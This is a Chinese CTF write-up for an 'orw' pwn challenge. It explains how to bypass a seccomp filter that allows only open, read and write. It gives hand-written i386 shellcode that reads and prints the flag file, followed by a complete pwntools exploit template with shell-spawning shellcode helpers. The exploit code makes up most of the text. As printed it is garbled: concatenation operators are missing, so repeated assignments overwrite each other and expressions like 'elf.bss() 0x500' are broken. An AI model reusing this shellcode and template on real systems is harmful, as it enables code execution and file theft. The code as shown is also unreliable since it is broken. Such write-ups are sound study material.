程序分析
checksec看到程序没有开启nx保护,即我们可以在栈中执行shellcode
第一眼看伪代码以为直接输入shellcode就可以反弹shell了,不曾想竟还有一个orw_seccomp
搅屎棍从中阻拦
进到该函数看,重点在prctl函数的使用,根据我百度引经据典一番操作后了解到这两句的主要作用是
禁止程序提升权限,并且禁止除open
、write
、read
函数外的系统调用使用
利用思路
既然无法直接调用system那我们就可以结合已有的条件来曲线救国,如:
使用open打开flag
-> 再通过read函数将flag的内容读取到某地址中
-> 最后使用write函数打印出该地址的内容
然鹅,难点就在于我们要手写这段过程的汇编代码来读入程序中,具体系统调用方式可参考如下
函数名 | EAX | E**BX** | ECX | EDX |
---|---|---|---|---|
Sys_read | 0x03 | Unsigned int | Void *buf | Size |
Sys_write | 0x04 | Unsigned int | Void *buf | Size |
Sys_open | 0x05 | Const char * | Int | int |
之后开始编写我们第一个open("flag")
过程的汇编:
open_flag = asm("push 0;")
open_flag = asm("push " hex_flag ";")
open_flag = asm("mov ebx,esp;")
open_flag = asm("xor ecx,ecx;")
open_flag = asm("xor edx,edx;")
open_flag = asm("mov eax,0x5;")
open_flag = asm("int 0x80;")
其中hex_flag是“flag”
字符串转换为16进制后的小端模式(也就是反转一下)
第二个 read(3,bss_addr,0x100)
的过程:
read_flag = asm("mov ebx,0x3;")
read_flag = asm("mov ecx," str(hex(bss_addr)) ";")
read_flag = asm("mov edx,0x100;")
read_flag = asm("mov eax,0x3;")
read_flag = asm("int 0x80;")
第三个 write(1,bss_addr,0x100)
的过程:
write_flag = asm("mov ebx,0x1;")
write_flag = asm("mov ecx," str(hex(bss_addr)) ";")
write_flag = asm("mov edx,0x100;")
write_flag = asm("mov eax,0x4;")
write_flag = asm("int 0x80;")
最后拼接在一起即可完成利用
EXP
代码语言:javascript复制#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
# - RemPro()
# - elf_addr
# - libc_addr
# - enable_Onegadgets
# - exp()
import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
# context.log_level = "debug"
### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./pwnable_orw" # 本地ELF
libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" # Libc文件
pro_libc = "/home/da1sy/DA1SY-Win/CTF/libc/16.04/64/libc.so.6"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
log.info("No set Remote_libc...")
libc = ELF(libc_addr)
else:
libc = ELF(libc_addr)
try:
sh = remote(ip,port)
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
one_ggs = one_gadget(libc_addr)
elf = ELF(elf_addr)
return 1
### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
if fw == 32:
return asm(shellcraft.sh())
elif fw == 64:
return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
return map(int, subprocess.check_output(['one_gadget', '--raw','-f', filename]).split(' '))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")
def exp():
bss_addr = elf.bss() 0x500
success("bss_addr => 0x%x",bss_addr)
binsh = "/bin/shx00"
flag = "flag"
hex_flag = ""
hex_sh = ""
for i in flag[::-1]:
hex_flag = str(hex(ord(i)))
for i in binsh[::-1]:
hex_sh = str(hex(ord(i)))
hex_flag = "0x" hex_flag.replace("0x","")
hex_sh = "0x" hex_sh.replace("0x","")
log.info("hex_flag => " hex_flag)
log.info("hex_sh => " hex_sh)
# debug("b *0x0804858A")
open_flag = asm("push 0;")
open_flag = asm("push " hex_flag ";")
open_flag = asm("mov ebx,esp;")
open_flag = asm("xor ecx,ecx;")
open_flag = asm("xor edx,edx;")
open_flag = asm("mov eax,0x5;")
open_flag = asm("int 0x80;")
read_flag = asm("mov ebx,0x3;")
read_flag = asm("mov ecx," str(hex(bss_addr)) ";")
read_flag = asm("mov edx,0x100;")
read_flag = asm("mov eax,0x3;")
read_flag = asm("int 0x80;")
write_flag = asm("mov ebx,0x1;")
write_flag = asm("mov ecx," str(hex(bss_addr)) ";")
write_flag = asm("mov edx,0x100;")
write_flag = asm("mov eax,0x4;")
write_flag = asm("int 0x80;")
shellcode = open_flag read_flag write_flag
sh.recvuntil("shellcode:")
sh.sendline(shellcode)
return sh
def exp_2():
print "this is exp_2"
if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()